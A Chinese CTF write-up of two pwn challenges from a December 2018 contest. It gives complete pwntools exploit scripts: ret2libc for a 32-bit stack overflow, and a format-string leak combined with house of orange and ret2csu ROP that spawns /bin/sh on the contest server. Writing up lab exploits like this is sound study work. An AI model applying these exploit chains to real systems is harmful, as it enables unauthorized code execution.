

2018安恒杯12月月赛之pwn

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好久没打安恒杯的月赛，此次12月的月赛只有两道pwn题，本着复习累了看看pwn题的心态，结果为了复现第二题荒废复习时间，真香啊，期末挂科预定了Orz

第一题是栈溢出的漏洞，第二题的堆的漏洞

难度相差了个银河系

messageb0x

保护机制如下：

```
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

只开了个nx，32位的程序

这题的漏洞点主要在这两个函数：

```
int process_info()
{
    char v1; // [esp+0h] [ebp-58h]
    char v2; // [esp+32h] [ebp-26h]
    char s; // [esp+46h] [ebp-12h]

    puts("--> Plz tell me who you are:");
    fgets(&s, 0xA, stdin);
    printf("--> hello %s", &s);
    puts("--> Plz tell me your email address:");
    fgets(&v2, 0x14, stdin);
    puts("--> Plz tell me what do you want to say:");
    fgets(&v1, 0xC8, stdin);//■■■■■■
    puts("--> Here is your info:");
    puts(&v1);
    return puts("--> Thank you !");
}

char *jumper()
{
    char s; // [esp+Ch] [ebp-1Ch]

    puts("Do you know the libc version?");
    return gets(&s);//■■■■■■
}
```

思路很简单

由于存在栈溢出，那么就只需要分三步走：

- 泄漏出puts真实地址从而得到libc偏移
- 跳到jumper函数，再次栈溢出
- 通过得到的system函数和参数的地址，执行getshell

exp如下：

```
#encoding:utf-8
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./messageb0x"
context.binary=bin_elf
elf = ELF(bin_elf)
```

```

if sys.argv[1] == "r":
    libc = ELF("./libc6-i386.so")
    p = remote("101.71.29.5",10009)
elif sys.argv[1] == "l":
    libc = elf.libc
    p = process(bin_elf)
#-----
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc():
    return p.recv()
def sp():
    print "-----■■■■-----"
    return raw_input()
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(p,a,s):
    return p.sendafter(a,s)
def getshell():
    p.interactive()
#-----
main = 0x08049386
jump =0x0804934d
puts_plt =elf.plt["puts"]
puts_got =elf.got["puts"]

payload = "a"*(0x58+4)+p32(puts_plt)+p32(jump)+p32(puts_got)
sla(p,"--> Plz tell me who you are:\n","aaaa")
sla(p,"--> Plz tell me your email address:\n","aaaa")
sla(p,"--> Plz tell me what do you want to say:\n",payload)
ru("--> Thank you !\n")
puts= u32(p.recv(4))
print "puts----->",hex(puts)■■■■puts■■■■■■■■■■libcdatabase■■■■
libc_base = puts- 0x05f140#■■■■■■■■■■libc■■■■
print "libc_base----->",hex(libc_base)

system = libc_base+0x03a940#■■■■■■■■■■libc■■■■
binsh = libc_base+0x15902b#■■■■■■■■■■libc■■■■
one = libc_base +0x35938#■■■■■■■■■■libc■■■■

payload = "a"*(0x1c+4)+p32(system)+p32(0)+p32(binsh)
sla(p,"Do you know the libc version?\n",payload)
getshell()

```

这题的libc偏移需要在[libcdatabase](#)里面去找，本地和远程端是不一样的

smallorange

看到这题目名，大概就能猜到很可能是house of orange的操作了

然而比赛的时候还是没有搞出这题，赛后复现的时候终于搞懂了

这题的确是骚，学了一波操作

64位，开nx和canary

```

Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)

```

进IDA看逻辑：

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
    void *v3; // rax
    int v4; // eax
    int v5; // [rsp+8h] [rbp-48h]
    int v6; // [rsp+Ch] [rbp-44h]
    char s; // [rsp+10h] [rbp-40h]
    int *v8; // [rsp+38h] [rbp-18h]
    unsigned __int64 v9; // [rsp+48h] [rbp-8h]

    v9 = __readfsqword(0x28u);
    alarm(0x3Cu);
    v5 = 0xA0; // 0xA0
    v8 = (&v5 + 1);
    memset(&s, 0, 0x28uLL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    puts("hahaha,come to hurt by ourselves");
    getname(&s); // 0x0000000000000006
    v3 = malloc(0x100uLL);
    printf("\nheap addr:%p\n", v3);
    while ( 1 )
    {
        write(1, "1:new\n2:old\n", 0xCuLL);
        write(1, "choice: ", 8uLL);
        v4 = getnum();
        v6 = v4;
        if ( v4 == 1 )
        {
            new(&v5); // 0xA0
        }
        else if ( v4 == 2 )
        {
            out();
        }
    }
}

-----
int __fastcall getname(void *a1)
{
    signed int i; // [rsp+1Ch] [rbp-4h]

    read(0, a1, 0x28uLL);
    for ( i = 0; i <= 0x21; ++i )
    {
        if ( *(a1 + i) == '%' )
            exit(0);
    }
    return printf(a1, a1); // 0x00000000
}

-----
__int64 __fastcall new(unsigned int *a1)
{
    __int64 result; // rax
    void *buf; // [rsp+18h] [rbp-8h]
    buf = malloc(0x100uLL);
    if ( !buf )
        exit(0);
    puts("text:");
    read(0, buf, *a1); // v5
    puts("yes");
    LODWORD(result) = total++;
    result = result;
    list[result] = buf;
    return result;
}
```



```
Program received signal SIGSEGV, Segmentation fault.
pwndbg> stack 40
00:0000| rsp 0x7ffc02004588 -> 0x400bf0 (getnum+67) <- mov    eax, dword ptr [rbp - 0x24]
01:0008|      0x7ffc02004590 <- 0x15
02:0010|      0x7ffc02004598 <- 0x0
... ↓
04:0020|      0x7ffc020045a8 -> 0x7fbc20dda898 (malloc_hook_ini+104) <- test    rax, rax
05:0028|      0x7ffc020045b0 <- 0x0
06:0030|      0x7ffc020045b8 <- 0xc37dd9fd22e0b100
07:0038| rbp 0x7ffc020045c0 -> 0x7ffc02004620 -> 0x400c40 ( __libc_csu_init) <- push    r15
08:0040|      0x7ffc020045c8 -> 0x4009cf (main+249) <- mov    dword ptr [rbp - 0x44], eax
09:0048|      0x7ffc020045d0 <- 0x0
0a:0050|      0x7ffc020045d8 <- 0x23a0
0b:0058|      0x7ffc020045e0 <- 0x6161616161616161 ('aaaaaaaa')
... ↓
0f:0078|      0x7ffc02004600 <- 0x6e24393125616161 ('aaa%19$n')
10:0080|      0x7ffc02004608 -> 0x7ffc020045d9 <- 0x6100000000000023 /* '#' */
11:0088|      0x7ffc02004610 -> 0x7ffc02004700 <- 0x1
12:0090|      0x7ffc02004618 <- 0xc37dd9fd22e0b100
13:0098|      0x7ffc02004620 -> 0x400c40 ( __libc_csu_init) <- push    r15
```

这时就可以造成堆溢出了，另外我们还能通过格式化字符串漏洞，得到一个栈的地址，后边在调用edit函数的时候会有用处

那么接下来，就是对堆漏洞的利用了，纵观整道题，只有mallo(0x100)和free (0x100)，且free的时候list[]也会相应的清空，没法进行uaf

那么这个时候就要用到house of orange的操作了

关于house of orange的相关知识，这里贴一下链接，具体原理不详细展开讲，不然要说的东西就太多了

[veritas501](#)

<https://bbs.pediy.com/thread-222718.htm>

<http://tacxingxing.com/2018/01/10/house-of-orange/>

[CTF-All-In-One](#)

[ctf-wiki](#)

这个操作的关键点：

- 一、要能实现堆溢出，修改下一个chunk的size
- 二、要知道_IO_list_all的地址，并且能够修改内容
- 三、引发报错

首先我们通过unsorted bin attack，将_IO_list_all指向 unsorted bin-0x10的位置

由于我们并不知道_IO_list_all的真实地址，所以得靠猜，我们可以通过libc.sym["_IO_list_all"]获得末三位的偏移：520，这三位是不会发生改变的，因此我们可以通过输入\x10\x55来实现爆破其中\x55可以为\x05~\xf5有十六分之一的概率能覆盖成功

第一步：

首先申请四个chunk (chunk1、3是为了防止相邻合并)

free掉chunk0、chunk2

这时 unsorted bin <---chunk2 <--- chunk0

第二步：

这时再分配一次chunk，实际还是得到chunk0的地址

通过chunk0，溢出到chunk2，修改chunk2的pre_size和size，其中修改size为0x61

改bk为_IO_list_all-0x10

第三步：

再次创建一个chunk (0x100) 的时候就会引发报错，因为unsorted bin中的size为0x61，不满足条件，那么这个bin就会被移到small bin里面去，在脱离unsorted bin 的时候，_IO_list_all就指向了 <main_arena+88>

```

x7fe12fde9b78 <main_arena+88>: 0x0000000000e34550 0x0000000000000000
x7fe12fde9b88 <main_arena+104>: 0x0000000000e34330 0x00007fe12fdea510
x7fe12fde9b98 <main_arena+120>: 0x00007fe12fde9b88 0x00007fe12fde9b88
x7fe12fde9ba8 <main_arena+136>: 0x00007fe12fde9b98 0x00007fe12fde9b98
x7fe12fde9bb8 <main_arena+152>: 0x00007fe12fde9ba8 0x00007fe12fde9ba8
x7fe12fde9bc8 <main_arena+168>: 0x00007fe12fde9bb8 0x00007fe12fde9bb8
x7fe12fde9bd8 <main_arena+184>: 0x0000000000e34330 0x0000000000e34330
x7fe12fde9be8 <main_arena+200>: 0x00007fe12fde9bd8 0x00007fe12fde9bd8
x7fe12fde9bf8 <main_arena+216>: 0x00007fe12fde9be8 0x00007fe12fde9be8
x7fe12fde9c08 <main_arena+232>: 0x00007fe12fde9bf8 0x00007fe12fde9bf8
x7fe12fde9c18 <main_arena+248>: 0x00007fe12fde9c08 0x00007fe12fde9c08
x7fe12fde9c28 <main_arena+264>: 0x00007fe12fde9c18 0x00007fe12fde9c18

```

这时由于chunk2的size被改成了0x61，因此在small bin[5]的地方，也就是<main_arena+184>

而这个偏移的位置，正好对应了_IO_list_all中的chain，也就通过这个chain，指向了下一个_IO_FILE

也就是说下一个_IO_FILE的内容构造可以受我们控制，因为他就在chunk2里面

```

pwndbg> p (*(struct _IO_FILE_plus *) 0x7fe12fde9b78)
$6 = {
  file = {
    flags = 14894416,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0xe34330 "",
    _IO_read_base = 0x7fe12fdea510 "",
    _IO_write_base = 0x7fe12fde9b88 <main_arena+104> "0", <incomplete sequence \343>,
    _IO_write_ptr = 0x7fe12fde9b88 <main_arena+104> "0", <incomplete sequence \343>,
    _IO_write_end = 0x7fe12fde9b98 <main_arena+120> "\210\233\336/\341\177",
    _IO_buf_base = 0x7fe12fde9b98 <main_arena+120> "\210\233\336/\341\177",
    _IO_buf_end = 0x7fe12fde9ba8 <main_arena+136> "\230\233\336/\341\177",
    _IO_save_base = 0x7fe12fde9ba8 <main_arena+136> "\230\233\336/\341\177",
    _IO_backup_base = 0x7fe12fde9bb8 <main_arena+152> "\250\233\336/\341\177",
    _IO_save_end = 0x7fe12fde9bb8 <main_arena+152> "\250\233\336/\341\177",
    markers = 0xe34330,
    chain = 0xe34330,
    fileno = 803118040,
    flags2 = 32737,
    old_offset = 140605147487192,
    cur_column = 39912,
    vtable_offset = -34 '\336',
    shortbuf = "/",
    lock = 0x7fe12fde9be8 <main_arena+200>,
    offset = 140605147487224,
    codecvt = 0x7fe12fde9bf8 <main_arena+216>,
    wide_data = 0x7fe12fde9c08 <main_arena+232>,
    freeres_list = 0x7fe12fde9c08 <main_arena+232>,
    freeres_buf = 0x7fe12fde9c18 <main_arena+248>,
    pad5 = 140605147487256,
    mode = 803118120,
    unused2 = "\341\177\000\000(\234\336/\341\177\000\000\070\234\336"...
  },
  vtable = 0x7fe12fde9c38 <main_arena+280>
}

```

于是我们只要往chunk2里面存放我们提前构造好的 _IO_FILE结构，就可以实现house of orange的操作

通过构造我们使得，chunk2 中的 _IO_FILE为：

```

No symbol _IO_FILE_plus in current context.
pwndbg> p (*(struct _IO_FILE_plus *) 0x0000000000e34330)
$2 = {
  file = {
    _flags = 1180331776, stack地址
    _IO_read_ptr = 0x01 <error: Cannot access memory at address 0x61>,
    _IO_read_end = 0x7fe12fde9bc8 <main_arena+168> "\270\233\336\341\177",
    _IO_read_base = 0x7fe12fde9bc8 <main_arena+168> "\270\233\336\341\177",
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_save_base = 0x400b59 <edit> "UH\211\345H\203\354 H\211}\350\277\030\r"...,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    markers = 0x0,
    chain = 0x0,
    fileno = 0,
    flags2 = 0,
    old_offset = 0,
    cur_column = 0,
    vtable_offset = 0 '\000',
    shortbuf = "",
    lock = 0x0,
    offset = 0,
    codecvt = 0x0,
    wide_data = 0xe34350,
    freeres_list = 0x0,
    freeres_buf = 0x0,
    pad5 = 0,
    mode = 1,
    unused2 = '\000' <repeats 19 times>
  },
  vtable = 0xe34360 偏移为0xd8
}

```



我们知道，_IO_FILE中的各种利用，无非就是通过各种结构体的某个成员进行构造，然后实现跳转执行函数

在house of orange中，最终要实现的就是调用_IO_OVERFLOW (fp, EOF) == EOF)

而_IO_OVERFLOW存在于vtable中，所以我们还得构造一个vtable，而在这一系列的利用中，还得避开很多的检查机制，总结如下：

绕过检查的三个条件

1. fp->mode大于0
2. fp->_IO_vtable_offset 等于0
3. fp->_wide_data->_IO_write_ptr 大于 fp->_IO_wide_data->_IO_write_base

通过精心构造：

```

pwndbg> p (*(struct _IO_wide_data *) 0x0000000000e34350)
$3 = {
  __IO_read_ptr = 0x0,
  __IO_read_end = 0x0,
  __IO_read_base = 0x0,
  __IO_write_base = 0x0,
  __IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
  __IO_write_end = 0x400b59 <edit> L"\xe5894855\x20ec8348\xe87d8948\x400d
0000\064\x8bfc4589\x9848fc45\xc5148d48",
  __IO_buf_base = 0x0,
  __IO_buf_end = 0x0,
  __IO_save_base = 0x0,
  __IO_backup_base = 0x0,
  __IO_save_end = 0x0,
  __IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  __IO_last_state = {
    __count = 0,

```



```

pwndbg> p (*(struct _IO_jump_t *) 0x0000000000e34360)
$4 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x1,
  __overflow = 0x400b59 <edit>,
  __underflow = 0x0,
  __uflow = 0x0,
  __pbackfail = 0x0,
  __xspn = 0x0,
  __xsgetn = 0x0,
  __seekoff = 0x0,
  __seekpos = 0x0,
  __setbuf = 0x0,
  __sync = 0x0,
  __doallocate = 0x0,
  __read = 0xe34350,
  __write = 0x0,
  __seek = 0x0,
  __close = 0x0,
  __stat = 0x1,
  __showmanyc = 0x0,
  __imbue = 0x0
}
pwndbg> p _IO_list_all

```



最终实现调用 `_IO_OVERFLOW (fp, EOF) == EOF`，实际上是调用 `edit (stack)`，那么 `fp` 的第一项也就是 `flags` 成员存储的就是 `stack` 的地址

实现了调用 `edit (stack)`

接下来就是构造一大条rop链

那我们得先找gadget，这几个gadget也是有点东西，主要用了以下几条：

```
pop_rdi = 0x400ca3
pop_gadget = 0x400c9a
#pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_gadget = 0x400c80
#mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
```

是的，就是两个经典的gadget

```
0000000000400C80 loc_400C80: ; CODE XREF
0000000000400C80      mov     rdx, r13
0000000000400C83      mov     rsi, r14
0000000000400C86      mov     edi, r15d
0000000000400C89      call    qword ptr [r12+rbx*8]
0000000000400C8D      add     rbx, 1
0000000000400C91      cmp     rbx, rbp
0000000000400C94      jnz     short loc_400C80
0000000000400C96 loc_400C96: ; CODE XREF
0000000000400C96      add     rsp, 8
0000000000400C9A      pop     rbx
0000000000400C9B      pop     rbp
0000000000400C9C      pop     r12
0000000000400C9E      pop     r13
0000000000400CA0      pop     r14
0000000000400CA2      pop     r15
0000000000400CA4      retn
```

算是比较骚的rop构造方式，也很值得学习

构造rop，实现一个libc的泄漏，然后再执行system(/bin/sh)

或者直接跳onegadget也行

最后exp如下

```
#encoding:utf-8
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./smallorange"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
    libc = ELF("./libc-2.23.so")
    p = remote("101.71.29.5",10008)
elif sys.argv[1] == "l":
    libc = elf.libc
#-----
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc():
    return p.recv()
def sp():
    print "-----■■■■-----"
    return raw_input()
```

```
def ru(s,timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s,timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(p,a,s):
    return p.sendafter(a,s)

def getshell():
    p.interactive()
#-----
def new(text):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('text:\n')
    p.send(text)
def old(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('index:\n')
    p.sendline(str(index))

while True:
    try:
        p = process(bin_elf)
        #gdb.attach(p,"b *0x400A67")

        payload ="a"*0x22 +"a%19$n"
        sda(p,"hahaha,come to hurt by ourselves\n",payload)
        ru("a"*0x23)


        stack=u64(p.recv(6).ljust(8,"\x00"))-0x549
        print "leak stack---->",hex(stack)
        ru("addr:0x")
        heap = int(p.recv(7),16)+0x320##chunk2
        print "heap stack---->",hex(heap)

        new("a"*0xa0)#chunk0
        new("b"*0xa0)#chunk1
        edit = 0x400b59
        ##io file
        payload1=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)+p64(0x0)
        payload1+=p64(0x1)+p64(edit)###overflow
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(heap+0x20)+p64(0x0)###wide_data
        payload1+=p64(0x0)*2
        payload1+=p64(0x01)+p64(0x0)
        payload1+=p64(0x0)+p64(heap+0x30)###vtable #0xd8

        new(payload1)#chunk2
        new("d"*0xa0)#chunk3


        old(0)


        old(2)
        #sp()
        print "_IO_list_all:",hex(libc.sym["_IO_list_all"])
        #_IO_list_all#####520,####_IO_list_all-0x10
        ######"\x10\x55",##\x55####\x05~\xf5
        #####
```

```
#gdb.attach(p
#sp()

payload2="a"*0x210##chunk0#chunk2
payload2+=p64(stack)+p64(0x61)#chunk2#pre_size#size
payload2+=p64(0x0)+'\x10\xa5'#bk#_IO_list_all-0x10
#sp()
#raw_input('go')
new(payload2)
#sp()
#####house of orange#####,#####edit###
ru('choice: ')
sl('l')######
#sp()
ru('index:')
sl('0')######edit()###
sleep(0.5)

pop_rdi = 0x400ca3
pop_gadget = 0x400c9a
#pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_gadget = 0x400c80
#mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]

payload3='l'*8
payload3+=p64(pop_gadget)
payload3+=p64(0x0)#rbx
payload3+=p64(0x1)#rbp
payload3+=p64(elf.got["write"])#r12-->write_got
payload3+=p64(0x8)#r13
payload3+=p64(elf.got["puts"])#r14-->puts_got
payload3+=p64(0x1)#r15
payload3+=p64(mov_gadget)#write(1,puts_got,8)
#add      rbx, 1
#cmp      rbx, rbp
#jnz      short loc_400C80
#####rbx=rbp#####
payload3+='l'*8#add rsp,8
payload3+=p64(0x0)#pop rbx
payload3+=p64(0x1)#pop rbp
payload3+=p64(elf.got["read"])#pop r12-->read_got
payload3+=p64(0x100)#pop r13
payload3+=p64(stack+0x80)#pop r14
payload3+=p64(0x0)#pop r15
payload3+=p64(mov_gadget)#retn-->read(0,stack+0x80,0x100)
sd(payload3)

leak=ru('\xf7')
free=u64(leak[-6:]+'\x00'*2)
print "puts is---->",hex(free)
libc_base = free-libc.sym["puts"]
one = libc_base+0xf02a4
print "libc_base is---->",hex(libc_base)
system = libc_base+libc.sym["system"]
#payload4=p64(one)
payload4=p64(pop_rdi)#pop rdi ret
payload4+=p64(stack+0x98)
payload4+=p64(system)
payload4+= '/bin/sh\x00'
sl(payload4)
print 'get a shell'
break
except :
    p.close()
    print "fail!continue!-----"

getshell()
```

终于把这题分析完了，可以看到从格式化字符串到house of orange到ROP，知识点一环扣一环，其中还有很多艰辛的苦逼调试的过程，学习了很多，这题的质量真的可以

我大哥[Impossible](#)，还记载了另一种非预期解法，也非常值得学习，有兴趣的可以看看

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